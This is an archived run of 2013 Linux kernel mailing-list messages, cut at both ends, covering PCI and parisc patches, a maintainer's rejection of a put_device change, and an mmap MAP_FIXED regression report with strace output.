        bh=jqTsU1rswo2BHNHZNkucQHEDDE8M/6NGRxyHcJ0rE4g=;
        b=NOjE1UMfMEkDiGmc+hE50So9g9s3e/pVeTSjjmXLna37J15g93/2JTB2u1yIoclLLP
         jr3egqITXDiT8E+X2Zncr0pjO0uInr+aGabGUBiQg38ddp3EaC2uCf3IiaKQ/+a5T37U
         wERFJQWNgZiPgH8231SnRuGQwJGJIZBHJMmKEhtb9QM9+z+uypL57kXvXIlt7zww4Wc2
         6uav3pliYuZXAp4snHGDy2kZz/DYIokyozHzu9kCgT27fVJfjGzo0kkG0tMgTbiHoOoL
         0GSOfA0RP0FYqZsfODFUrXmDDNbJGS5T2AWJLSgsymOZjepu0LI0vknlUrlWkOUC5o32
         uJOg==
X-Gm-Message-State: ALoCoQnmwSlBksLsjbyxa+AE5LKvVHkkoFHEgpSSpPUbXd50vIJJxJdKjhteRtSmxxFnMMN5UookWqzYMdqxOweGzKDqzmTounvAJjOnbMad1IhyKw0vdhf814lfOiiMkmTu9QN1wSUJV2N0FtTuJSHXRXAevmFLu7QenIyXUXTOWiSuoxkzz3Nn/DjmK4o9DTI/2qI8r8FDcsRH87DcOS3HkpOn0xgjkA==
X-Received: by 10.50.143.10 with SMTP id sa10mr20817509igb.8.1386696502049;
 Tue, 10 Dec 2013 09:28:22 -0800 (PST)
Original-Received: by 10.64.31.41 with HTTP; Tue, 10 Dec 2013 09:28:01 -0800 (PST)
In-Reply-To: <1386647973.32037.57.camel@pasglop>
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:23499 gmane.linux.ports.parisc:5543 gmane.linux.kernel.pci:27407 gmane.linux.kernel:1611536 gmane.linux.ports.alpha:2179 gmane.linux.ports.sparc:18498 gmane.linux.ports.ppc64.devel:98062 gmane.linux.ports.arm.kernel:286520
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/23499>

On Mon, Dec 9, 2013 at 8:59 PM, Benjamin Herrenschmidt <benh@au1.ibm.com> wrote:
> On Mon, 2013-12-09 at 17:01 -0700, Bjorn Helgaas wrote:
>> [+cc arch lists]
>>
>> On Thu, Dec 05, 2013 at 07:52:53PM +0800, Yijing Wang wrote:
>> > Use dev_is_pci() instead of directly compare
>> > pci_bus_type to check whether it is pci device.
>> >
>> > Signed-off-by: Yijing Wang <wangyijing@huawei.com>
>>
>> I applied all these to my pci/yijing-dev_is_pci branch for v3.14, thanks!
>>
>> Browse them here: http://git.kernel.org/cgit/linux/kernel/git/helgaas/pci.git/log/?h=pci/yijing-dev_is_pci
>
> Ah ok. I also have the powerpc one in powerpc -next, no biggie though

I'll drop the powerpc one.
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Levente Kurusa <levex@linux.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 17/38] parisc: kernel: add missing put_device call
Date: Thu, 19 Dec 2013 16:03:28 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <1387465429-3568-18-git-send-email-levex@linux.com>
References: <1387465429-3568-2-git-send-email-levex@linux.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1387465535 29349 80.91.229.3 (19 Dec 2013 15:05:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 19 Dec 2013 15:05:35 +0000 (UTC)
Cc: Levente Kurusa <levex@linux.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Chen Gang <gang.chen@asianux.com>, linux-parisc@vger.kernel.org
To: LKML <linux-kernel@vger.kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Dec 19 16:05:39 2013
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1VtfAQ-00021n-9t
	for glk-linux-kernel-3@plane.gmane.org; Thu, 19 Dec 2013 16:05:38 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754174Ab3LSPEs (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 19 Dec 2013 10:04:48 -0500
Original-Received: from mail-ea0-f181.google.com ([209.85.215.181]:51098 "EHLO
	mail-ea0-f181.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754091Ab3LSPEp (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 19 Dec 2013 10:04:45 -0500
Original-Received: by mail-ea0-f181.google.com with SMTP id m10so542375eaj.40
        for <multiple recipients>; Thu, 19 Dec 2013 07:04:43 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=Bznuh3MzkXff2q/+6Hd+JlRpH6h+uKoJYcWHCFkiJSU=;
        b=WjwPCUINBHogEtgsg+cRjrj8BFqqupk0qgRw7ywncboM5yNFOWfgJjlzbAdvpIJzXh
         yWTaJrY+B92uP8fGq26ck6+VMhrjqFdcJ76QGnZ59N8Mn1DJSAHNIoGvitHzLFhwbk3N
         lwaCiSOeFJfttU/9jj67DRxIOQbf5bOVB8ff4bOGAMAouRXy7mlu5wzx0uc2fzXnfRe0
         KwWN0yc6liGpItQvqQPUC2SNPoHkFg/eMCD78RrYFKAVAx7MRQvD9PVEyHIWV5Z27sej
         qxwTVqNb4xg11sEfeuockOFgDAg74y6KxmDAbXtk5bATd5MKDg8K4IIp7ueb+NJRoUTh
         N39Q==
X-Received: by 10.14.208.199 with SMTP id q47mr4997eeo.77.1387465483839;
        Thu, 19 Dec 2013 07:04:43 -0800 (PST)
Original-Received: from localhost.tiszanet.hu (mail.mediaweb.hu. [62.201.96.214])
        by mx.google.com with ESMTPSA id h48sm10102799eev.3.2013.12.19.07.04.42
        for <multiple recipients>
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Thu, 19 Dec 2013 07:04:43 -0800 (PST)
X-Mailer: git-send-email 1.8.3.1
In-Reply-To: <1387465429-3568-2-git-send-email-levex@linux.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1617900 gmane.linux.ports.parisc:5544
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1617900>

This is required so that we give up the last reference to the device.

Signed-off-by: Levente Kurusa <levex@linux.com>
---
 arch/parisc/kernel/drivers.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/arch/parisc/kernel/drivers.c b/arch/parisc/kernel/drivers.c
index 14285ca..b97cc05 100644
--- a/arch/parisc/kernel/drivers.c
+++ b/arch/parisc/kernel/drivers.c
@@ -428,7 +428,7 @@ struct parisc_device * create_tree_node(char id, struct device *parent)
 	dev->dev.dma_mask = &dev->dma_mask;
 	dev->dev.coherent_dma_mask = dev->dma_mask;
 	if (device_register(&dev->dev)) {
-		kfree(dev);
+		put_device(&dev->dev);
 		return NULL;
 	}
 
-- 
1.8.3.1


From - Thu Nov 08 21:09:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 17/38] parisc: kernel: add missing put_device call
Date: Thu, 19 Dec 2013 07:29:25 -0800
Lines: 14
Approved: news@gmane.org
Message-ID: <1387466965.2210.9.camel@dabdike.int.hansenpartnership.com>
References: <1387465429-3568-2-git-send-email-levex@linux.com>
	 <1387465429-3568-18-git-send-email-levex@linux.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1387466979 16370 80.91.229.3 (19 Dec 2013 15:29:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 19 Dec 2013 15:29:39 +0000 (UTC)
Cc: LKML <linux-kernel@vger.kernel.org>, Helge Deller <deller@gmx.de>,
	Chen Gang <gang.chen@asianux.com>, linux-parisc@vger.kernel.org
To: Levente Kurusa <levex@linux.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Dec 19 16:29:43 2013
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1VtfXd-0000RP-NX
	for glk-linux-kernel-3@plane.gmane.org; Thu, 19 Dec 2013 16:29:38 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754601Ab3LSP3a (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 19 Dec 2013 10:29:30 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:46312 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753708Ab3LSP32 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 19 Dec 2013 10:29:28 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 4C3A08EE2C3;
	Thu, 19 Dec 2013 07:29:28 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id bppH95lzribX; Thu, 19 Dec 2013 07:29:28 -0800 (PST)
Original-Received: from [153.66.254.224] (c-24-17-213-192.hsd1.wa.comcast.net [24.17.213.192])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 842C58EE0C2;
	Thu, 19 Dec 2013 07:29:27 -0800 (PST)
In-Reply-To: <1387465429-3568-18-git-send-email-levex@linux.com>
X-Mailer: Evolution 3.8.5 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1617953 gmane.linux.ports.parisc:5545
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1617953>

On Thu, 2013-12-19 at 16:03 +0100, Levente Kurusa wrote:
> This is required so that we give up the last reference to the device.

No, it's not.  And the subject is misleading at best, since this isn't
any form of problem in the code.

If the add fails, the device isn't visible in sysfs and no references
have been handed out.  We're perfectly entitled to follow the common
pattern of simply destroying it at this point rather than going through
the nascent refcounting.

James



From - Thu Nov 08 21:09:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Lameter <cl@linux.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 11/40] parisc: Replace __get_cpu_var uses for address calculation
Date: Thu, 19 Dec 2013 09:50:26 -0600
Lines: 39
Approved: news@gmane.org
Message-ID: <20131219155031.935326462@linux.com>
References: <20131219155015.443763038@linux.com>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1387468710 5940 80.91.229.3 (19 Dec 2013 15:58:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 19 Dec 2013 15:58:30 +0000 (UTC)
Cc: akpm@linuxfoundation.org, rostedt@goodmis.org,
	linux-kernel@vger.kernel.org, Ingo Molnar <mingo@kernel.org>,
	Peter Zijlstra <peterz@infradead.org>,
	Thomas Gleixner <tglx@linutronix.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Tejun Heo <tj@kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 19 16:58:34 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VtfyE-0002Lp-Q9
	for glpp-linux-parisc@plane.gmane.org; Thu, 19 Dec 2013 16:57:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755895Ab3LSP4p (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 19 Dec 2013 10:56:45 -0500
Original-Received: from qmta05.emeryville.ca.mail.comcast.net ([76.96.30.48]:44413 "EHLO
	qmta05.emeryville.ca.mail.comcast.net" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753679Ab3LSP4m (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 19 Dec 2013 10:56:42 -0500
Original-Received: from omta24.emeryville.ca.mail.comcast.net ([76.96.30.92])
	by qmta05.emeryville.ca.mail.comcast.net with comcast
	id 3SvZ1n0021zF43QA5TqcpE; Thu, 19 Dec 2013 15:50:36 +0000
Original-Received: from gentwo.org ([98.213.233.247])
	by omta24.emeryville.ca.mail.comcast.net with comcast
	id 3Tqa1n00C5Lw0ES8kTqa3N; Thu, 19 Dec 2013 15:50:36 +0000
Original-Received: by gentwo.org (Postfix, from userid 1001)
	id 036955B219; Thu, 19 Dec 2013 09:50:31 -0600 (CST)
Content-Disposition: inline; filename=this_parisc
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=comcast.net;
	s=q20121106; t=1387468236;
	bh=FAGGV30AhtkEAxPZsDvtFuU5vFZiR1doA9bCbaY98Xo=;
	h=Received:Received:Received:Message-Id:Date:From:To:Subject:
	 Content-Type;
	b=RG5KqBzFyD1jwmCj4dj25xMuA45PWs5ec1VXQSn7UZSMkNvma1NaQly26qbTOAg+1
	 OJnh3BJ0qEImCEbbMOy7GoeVxZPLYktbSZJlrFY5LQ71U6Jp0oPJR8h3bqUf6APJMl
	 vlqot+Q1NTDcFPJmUajjR9oDeWf54e6/TW5p0eF571rddBjCkWu5Mt5Ip/CrSwjkJc
	 yiqhQfAUjQz+MY5298P/JapglIvL9x1KWcz2bn4d0HafV2FYT4lS3ZsuEIPrzuSAGl
	 HQxWRdLxAj4n8babF7MZrm/S5PLEyMDUy3CdZIUNmA57S3GNuS7LM9nEnuH2+zZpuK
	 I1/Hq21jxl9og==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5546 gmane.linux.kernel:1618016
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5546>

Convert to the use of this_cpu_ptr().

Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
Signed-off-by: Christoph Lameter <cl@linux.com>

Index: linux/arch/parisc/lib/memcpy.c
===================================================================
--- linux.orig/arch/parisc/lib/memcpy.c	2013-12-02 16:07:49.844632157 -0600
+++ linux/arch/parisc/lib/memcpy.c	2013-12-02 16:07:49.844632157 -0600
@@ -470,7 +470,7 @@ static unsigned long pa_memcpy(void *dst
 		return 0;
 
 	/* if a load or store fault occured we can get the faulty addr */
-	d = &__get_cpu_var(exception_data);
+	d = this_cpu_ptr(&exception_data);
 	fault_addr = d->fault_addr;
 
 	/* error in load or store? */
Index: linux/arch/parisc/mm/fault.c
===================================================================
--- linux.orig/arch/parisc/mm/fault.c	2013-12-02 16:07:49.844632157 -0600
+++ linux/arch/parisc/mm/fault.c	2013-12-02 16:07:49.844632157 -0600
@@ -151,7 +151,7 @@ int fixup_exception(struct pt_regs *regs
 	fix = search_exception_tables(regs->iaoq[0]);
 	if (fix) {
 		struct exception_data *d;
-		d = &__get_cpu_var(exception_data);
+		d = this_cpu_ptr(&exception_data);
 		d->fault_ip = regs->iaoq[0];
 		d->fault_space = regs->isr;
 		d->fault_addr = regs->ior;

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaro Koskinen <aaro.koskinen@iki.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped address
Date: Thu, 19 Dec 2013 21:17:51 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1387480660 26045 80.91.229.3 (19 Dec 2013 19:17:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 19 Dec 2013 19:17:40 +0000 (UTC)
To: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 19 20:17:46 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Vtj6N-0006f2-Fz
	for glpp-linux-parisc@plane.gmane.org; Thu, 19 Dec 2013 20:17:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754420Ab3LSTRm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 19 Dec 2013 14:17:42 -0500
Original-Received: from filtteri1.pp.htv.fi ([213.243.153.184]:47997 "EHLO
	filtteri1.pp.htv.fi" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754402Ab3LSTRm (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 19 Dec 2013 14:17:42 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by filtteri1.pp.htv.fi (Postfix) with ESMTP id 0EE0221B994;
	Thu, 19 Dec 2013 21:17:41 +0200 (EET)
X-Virus-Scanned: Debian amavisd-new at pp.htv.fi
Original-Received: from smtp4.welho.com ([213.243.153.38])
	by localhost (filtteri1.pp.htv.fi [213.243.153.184]) (amavisd-new, port 10024)
	with ESMTP id Sn5wXCmB2IG0; Thu, 19 Dec 2013 21:17:36 +0200 (EET)
Original-Received: from musicnaut.iki.fi (91-145-91-118.bb.dnainternet.fi [91.145.91.118])
	by smtp4.welho.com (Postfix) with SMTP id E27A55BC017;
	Thu, 19 Dec 2013 21:17:35 +0200 (EET)
Original-Received: by musicnaut.iki.fi (sSMTP sendmail emulation); Thu, 19 Dec 2013 21:17:51 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5547
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5547>

Hi,

This commit (0576da2c08e3d332f1b0653030d28ab804585ab6) and the current
mainline kernel (3.13-rc4) gives me the following with GLIBC 2.18:

$ localedef -c -i en_US -f UTF-8 en_US.UTF-8
cannot map archive header: Invalid argument

strace looks like this:

mmap2(NULL, 536870912, PROT_NONE, MAP_SHARED, 3, 0) = 0x42f34000
mmap2(0x43000000, 1607632, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, 3, 0) = -1 EINVAL (Invalid argument)

With the patch reverted, it works:

mmap2(NULL, 536870912, PROT_NONE, MAP_SHARED, 3, 0) = 0x42d74000
mmap2(0x43000000, 1607632, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, 3, 0) = 0x43000000

BTW, note that for GLIBC 2.18 some changes were done regarding this:
https://sourceware.org/bugzilla/show_bug.cgi?id=10283

A.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped address
Date: Thu, 19 Dec 2013 14:44:40 -0500
Lines: 40
Approved: news@gmane.org
Message-ID: <BLU0-SMTP47556722282C83F98582B797C50@phx.gbl>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1387482256 13232 80.91.229.3 (19 Dec 2013 19:44:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 19 Dec 2013 19:44:16 +0000 (UTC)
To: Aaro Koskinen <aaro.koskinen@iki.fi>, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 19 20:44:19 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VtjW5-0007FX-8S
	for glpp-linux-parisc@plane.gmane.org; Thu, 19 Dec 2013 20:44:17 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755884Ab3LSToR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 19 Dec 2013 14:44:17 -0500
Original-Received: from blu0-omc4-s15.blu0.hotmail.com ([65.55.111.154]:19101 "EHLO
	blu0-omc4-s15.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755717Ab3LSToQ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 19 Dec 2013 14:44:16 -0500
Original-Received: from BLU0-SMTP47 ([65.55.111.135]) by blu0-omc4-s15.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Thu, 19 Dec 2013 11:44:16 -0800
X-TMN: [fsEgt7Ai8xd9rZYpBnmMMwUPTvtBY24l]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.0.181] ([74.14.35.191]) by BLU0-SMTP47.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Thu, 19 Dec 2013 11:44:14 -0800
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.2.0
In-Reply-To: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi>
X-OriginalArrivalTime: 19 Dec 2013 19:44:14.0881 (UTC) FILETIME=[B2966910:01CEFCF2]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5548
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5548>

On 12/19/2013 2:17 PM, Aaro Koskinen wrote:
> Hi,
>
> This commit (0576da2c08e3d332f1b0653030d28ab804585ab6) and the current
> mainline kernel (3.13-rc4) gives me the following with GLIBC 2.18:
>
> $ localedef -c -i en_US -f UTF-8 en_US.UTF-8
> cannot map archive header: Invalid argument
>
> strace looks like this:
>
> mmap2(NULL, 536870912, PROT_NONE, MAP_SHARED, 3, 0) = 0x42f34000
> mmap2(0x43000000, 1607632, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, 3, 0) = -1 EINVAL (Invalid argument)
>
> With the patch reverted, it works:
>
> mmap2(NULL, 536870912, PROT_NONE, MAP_SHARED, 3, 0) = 0x42d74000
> mmap2(0x43000000, 1607632, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, 3, 0) = 0x43000000
>
> BTW, note that for GLIBC 2.18 some changes were done regarding this:
> https://sourceware.org/bugzilla/show_bug.cgi?id=10283
Are you sure the glibc changes are correct?  PARISC addresses are not 
strictly aligned to SHMLBA.
There's also a page offset and "random" offset derived from the kernel 
address of the mapping struct.

Helge is still looking at this to try and improve the allocation density 
of small maps as we run out of
memory far too quickly.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaro Koskinen <aaro.koskinen@iki.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped address
Date: Thu, 19 Dec 2013 22:28:02 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <20131219202802.GD2881@blackmetal.musicnaut.iki.fi>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi>
 <BLU0-SMTP47556722282C83F98582B797C50@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1387484870 11753 80.91.229.3 (19 Dec 2013 20:27:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 19 Dec 2013 20:27:50 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 19 21:27:56 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VtkCK-0002Y0-3f
	for glpp-linux-parisc@plane.gmane.org; Thu, 19 Dec 2013 21:27:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755890Ab3LSU1z (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 19 Dec 2013 15:27:55 -0500
Original-Received: from filtteri2.pp.htv.fi ([213.243.153.185]:39677 "EHLO
	filtteri2.pp.htv.fi" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755724Ab3LSU1z (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 19 Dec 2013 15:27:55 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by filtteri2.pp.htv.fi (Postfix) with ESMTP id 23CF219BFD7;
	Thu, 19 Dec 2013 22:27:54 +0200 (EET)
X-Virus-Scanned: Debian amavisd-new at pp.htv.fi
Original-Received: from smtp5.welho.com ([213.243.153.39])
	by localhost (filtteri2.pp.htv.fi [213.243.153.185]) (amavisd-new, port 10024)
	with ESMTP id BOV-XUCoJa-y; Thu, 19 Dec 2013 22:27:50 +0200 (EET)
Original-Received: from musicnaut.iki.fi (91-145-91-118.bb.dnainternet.fi [91.145.91.118])
	by smtp5.welho.com (Postfix) with SMTP id 3C4635BC010;
	Thu, 19 Dec 2013 22:27:47 +0200 (EET)
Original-Received: by musicnaut.iki.fi (sSMTP sendmail emulation); Thu, 19 Dec 2013 22:28:02 +0200
Content-Disposition: inline
In-Reply-To: <BLU0-SMTP47556722282C83F98582B797C50@phx.gbl>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5549
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5549>

Hi,

On Thu, Dec 19, 2013 at 02:44:40PM -0500, John David Anglin wrote:
> On 12/19/2013 2:17 PM, Aaro Koskinen wrote:
> >This commit (0576da2c08e3d332f1b0653030d28ab804585ab6) and the current
> >mainline kernel (3.13-rc4) gives me the following with GLIBC 2.18:
> >
> >$ localedef -c -i en_US -f UTF-8 en_US.UTF-8
> >cannot map archive header: Invalid argument
> >
> >strace looks like this:
> >
